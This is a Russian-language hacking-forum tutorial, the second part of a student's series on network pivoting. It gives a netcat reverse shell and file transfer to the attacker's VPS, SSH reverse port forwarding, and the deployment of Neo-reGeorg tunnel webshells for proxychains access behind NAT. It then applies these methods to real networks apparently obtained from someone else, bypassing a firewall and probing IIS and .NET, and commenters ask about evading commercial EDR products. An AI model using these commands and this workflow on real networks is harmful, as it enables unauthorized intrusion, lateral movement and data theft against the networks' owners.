• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Ломаем сетку глазами студента #2

student

(L2) cache
Забанен
Регистрация
03.10.2023
Сообщения
480
Реакции
368
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Автор student / мой_телеграмм_канал
Источник:
https://xss.pro
Всех приветствую на второй части моего топика по сетям. Я продолжил свое обучение, начать изучать pivoting. Без него никак:) Так как я новичок (ник придумал не просто так), я могу допускать ошибки. Грамотная критика приветствуется, для этого и пишу статьи.
Pivoting
Что такое pivoting? Это получение доступа к локальным ресурсам. К примеру у нас работает на localhost:31337 панель для доступа к роутеру. А нам надо получить к ней доступ удаленно, не покупая белый адрес. Или еще один пример. Мы хотим просканировать AD на уязвимости, не будем же мы все утилиты kali linux тащить на сетку. Достаточно создать proxy tunnel, добавить настройки в proxychains и обращаться локально. И уже наши запросы будут лететь на сервер за NAT. Короче вся суть получить доступ за натом. Когда вы проникаете в сетку белых айпи там почти нет;) Самое бесячее в этой теме - это понятие "клиент" и "сервер. На github часто путают понятия, также путается chatgpt поэтому первое время будет тяжело привыкнуть. Клиент - это тот, кто подключается - это комп за NAT. Сервер - это условно наш VPS, наш kali linux/сервер для атак и т.д. Стоит учитывать что не все утилиты будут работать через reverse proxy. Например nmap. Nmap, будучи сетевым сканером, обычно использует сырые сокеты и/или специализированные манипуляции с пакетами, которые недоступны при использовании сокс-прокси. SOCKS5 прокси передает потоковый трафик (используется в TCP), а не индивидуальные пакеты, и ряд уровней протокола, которые использует nmap для своего сканирования, требуют непосредственного обращения к таким пакетам. Некоторые базовые операции nmap могут работать через SOCKS5 при использовании опции -sT (TCP connect scanning), где nmap сканирует порты, устанавливая полное TCP соединения, что возможно при использовании прокси, но более продвинутые функции сканирования (например, TCP SYN scan) требуют прямого доступа к сети, и поэтому не будут работать через прокси. Вы можете поискать аналоги nmap на python и тогда все будет работать.
Сокеты - это способ, которым компьютеры общаются друг с другом через сеть. Когда вы заходите на веб-сайт или отправляете электронное письмо, ваш компьютер общается с другими серверами с использованием сокетов.
  • При использовании "обычных" сокетов, ваша операционная система (как Windows или Linux) обрабатывает множество деталей общения между компьютерами, это включает в себя настройку подключения, управление ошибками и ряд других сложных вещей.
  • Сырые сокеты - это особый тип сокета, который позволяет вашему компьютеру пропустить многие из этих автоматических обработок и контролировать больше аспектов общения. Это немного похоже на вождение автомобиля с ручным управлением вместо автоматического: это сложнее, но дает вам больше контроля.
Факты про pivoting
  • Обход сетевых ограничений: С помощью пивотинга хакеры могут обойти сетевые ограничения и брандмауэры. Если прямое соединение с целевым компьютером не возможно из-за брандмауэра, хакер Вася может взломать другую машину, которая может соединяться с целью, и использовать это в качестве "промежуточного шага".
  • Равномерное распределение сложности: Хакер Вася могут использовать пивотинг для проведения атак, которые иначе были бы сложными или невозможными. Например, если компьютер A имеет слабые безопасные меры, а компьютер B очень защищен, хакер может использовать компьютер A в качестве "плацдарма" для атаки на компьютер B. То есть если доступ к машине B можно получить только через машину A, то если мы скомпрометируем машину A, то уже сможем атаковать B.
  • Сокрытие истинного источника: Пивотинг также может использоваться для скрытия истинного источника атаки. Вместо прямой атаки на цель с их собственного компьютера, хакер может взломать несколько других машин и использовать их в качестве "промежуточных станций", что затруднит поиск хакера Васи.
Простой пример pivoting`a #1
Представим такую ситуацию у нас есть 2 linux машины с установленным netcat. Обе машины находятся в разных сетях. Машина A - vps. Машина B - за NAT. Наша задача подключиться к машине за NAT и получить reverse shell. Выполним команду на сервере:
Bash:
nc -l -p 4444
Выполним команду на клиенте:
Bash:
nc ip_vps 4444 -e /bin/bash
1710618330818.png

Теперь мы можем выполнять команды на клиенте, который не имеет белого адреса.
Допустим у нас задача скачать файл с машины за NAT на VPS. Мы можем сделать это следующим образом
1710618494424.png

Создадим к примеру простой текстовый файл с запиской на машине за NAT.
Выполним следующую команду на сервере:
Bash:
nc -l -p 1234 > received_file
Выполним следующую команду на клиенте:
Bash:
nc ip_vps 1234 < file.txt
client:
1710700332387.png

server:
1710618803132.png

Простой пример pivoting`a #2 (проброс портов)
Допустим у нас есть собственный блог, который мы подняли на localhost (машина за NAT). Наша задача сделать его доступным для VPS.
1710619103456.png

Первое, что приходит в голову это заюзать ngrok. Да, эта с помощью этой утилиты можно локальные ресурсы сделать публичными. Но мы воспользуемся SSH port forwarding
Первое, что делаем - это редактируем файл /etc/ssh/sshd_config на сервере
Bash:
GatewayPorts yes
Чтобы изменения вступили в силу перезагружаем ssh.
Bash:
sudo systemctl restart ssh
Выполним следующую команду на машине B (машина за NAT, где расположен наш блог)
Bash:
ssh -R 31338:localhost:1313 root@ip_vps
1710621277068.png

Теперь мы можем делиться ресурсом с коллегами.
Пример pivoting`a #3 (reverse proxy получаем доступ за NAT)
Этот метод используется чаще всего у злоумышленников, которые работают в сетке. Чтобы не тащить все инструменты для скана/атаки на сетку, можно создать reverse proxy. То есть клиентом будет выступать сетка. Она подключится к нашей машине и будет в одной сети с нами. С локального адреса будут отправляться запросы на сетку. Часто такой метод блокируют брандмауэры, всегда имеет смысл попробовать несколько инструментов для создания reverse proxy.
Создание иллюзии нахождения в одной сети. Хакер также может настроить обратный прокси так, чтобы казалось, что весь трафик исходит от кого-то внутри той же сети, что и цель. Это может быть полезно, например, при передаче злонамеренного трафика через прокси, маскируя его под обычный внутренний трафик.
Если вы покупали хоть раз proxy, то вам выдавали в формате ip:port socks5/socks4/http. Потому что это обычные прокси, то есть МЫ подключаемся. А вот обратные проще говоря - это когда к нам подключается машина и мы находимся в одной сети. И можем отправлять запросы через proxychains на localhost:port, которые далее отправятся клиенту. Существует множество инструментов, которые позволяют создать proxy tunnel. Вот некоторые из них:
  • Chisel: Это быстрый TCP-туннель по HTTP, написанный на Go. Репозиторий GitHub находится здесь.
  • ngrok: Это один из первых и самых известных инструментов для экспорта локального сервера в Интернет. Удобная функция ngrok - это интерактивный интерфейс в командной строке.
  • Neo-Georg: Это веб-прокси-туннель, который туннелирует TCP-трафик через HTTP. Любое устройство, которое может запустить Python и имеет доступ к веб-серверу, может использовать Neo-Georg для получения обратного оболочного доступа через прокси или фильтрацию протокола HTTP. Репозиторий GitHub находится здесь.
  • frp (Fast Reverse Proxy): Это высокопроизводительный, полнофункциональный прокси, который помогает в решении многих проблем с обходом NAT. Репозиторий GitHub находится здесь.
В первую очередь рассмотрим Гришу. Этот инструмент более универсальный, помогает обойти брандмауэр. Представим такую ситуацию у нас есть две машины A - это наш сервер, B - это клиент за NAT. Нам надо получить доступ к машине B. В первую очередь надо рассмотреть, что установлено на машине B. Python/Php/aspx и т.д. И уже от этого отталкиваться какой tunnel выбирать. Так как я использую kali linux, то я знаю, что там точно установлен php. Переходим на машину A и клонируем репозиторий:
Bash:
git clone https://github.com/L-codes/Neo-reGeorg.git
Дальше нам надо сгенерировать туннели
Bash:
python neoreg.py generate -k введите_любой_пароль
В папке neoreg_servers и будут лежать туннели.
1710686594432.png

Перемещаем любой выбранный туннель в /var/www/html (на машине B, которая за NAT)
Bash:
mv tunnel.php /var/www/html
Поднимем apache server.
Bash:
systemctl start apache2
Если вы все правильно сделали, то вы при переходе по http://ip/tunnel.php вы увидите белую страничку
1710686843978.png

Убедитесь наверняка, что у клиента работает php/go/aspx/jsp. Для этого напишите простой код, который выводит информацию о версии установленного продукта. Вот пример для php:
PHP:
<?php phpinfo(); ?>
Если все сделали правильно, то увидите информацию о php:
1710687034558.png

Настройка закончена. Теперь настроим наш сервер. Клонируем Гришу:
Bash:
git clone https://github.com/L-codes/Neo-reGeorg.git
Подключаемся к клиенту
Bash:
python neoreg.py -vv -k такой_же_пароль -u http://ip/tunnel.php -p 31339
1710687738629.png

Проверим соединение
Bash:
netstat -tulnp
1710688160803.png

Меняем настройки конфига proxychains
Bash:
nano /etc/название_конфига
sosks5 127.0.0.1 31339 и сохраняем.
Bash:
proxychains -q -f /etc/название_конфига.conf
1710688414664.png

Как видим айпишники различаются. Теперь мы можем обращаться от имени скомпрометированной машины. Если надо запустить утилиту прописывайте proxychains в начале. Если кто-то не понял, то tunnel ставим на скомпрометированную тачку, а neoreg.py запускаем на нашей тачке. Пример конечно не совсем удачный, т.к я использую 2 кали линукс и можно запутаться. Поэтому перейдем к реальному примеру.
Пример pivoting`a #4 (пример на настоящих сетках)
Васян подогнал мне сетки, чтобы статья получилась интересная. Поэтому приступим. У меня есть 2 сетки на одной стоит брандмауэр, а со второй все окей. Начнем с той где установлен брандмауэр. На сервере я запускаю прослушку порта 31555
1710695145437.png

На клиенте ввожу ip_vps 31555
1710695232243.png

И соединение не прилетает. Потому что нас заблокировал брандмауэр. Попробуем Neo-Georg
Для начала узнаем какой конкретно туннель будем ставить. Если речь про .aspx, то проверить можно так. Узнаем какие есть настроенные сайты в IIS
Bash:
%windir%\System32\inetsrv\appcmd.exe list sites
1710695434936.png

Узнаем установлен ли .NET framework.
Bash:
dir %WINDIR%\Microsoft.Net\Framework\v*
1710695500820.png

Отлично! Значит мы можем использовать tunnel.aspx.
1710695677716.png

Туннель залился. Попробуем подключиться к нему.
1710695960626.png

Прекрасно) Брандмауэр обошли мы. Меняем настройки proxychains конфига
1710696080310.png

Пробую выполнить команду proxychains curl google.com и смотрю в логи Гриши
1710696188710.png

А вот мы убедились что firewall установлен. На другой сетке, где не было firewall`а у меня все получилось.
1710698843936.png



Если вам нравится мой контент, то можете подписаться на мой тгк, чтобы следить за обновлениями и получать полезный материал. Донаты принимаю:)) Вот список, кто поддерживает битком:
ice80 - очень много🥰
MAYC - 200$
PLG - 100$
admin
 
Последнее редактирование:
EDR сломает глаза студенту. нужен кейс с софосом или сентинелом, например.
 
EDR сломает глаза студенту. нужен кейс с софосом или сентинелом, например.
нужен + краудстрайк или каспер
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх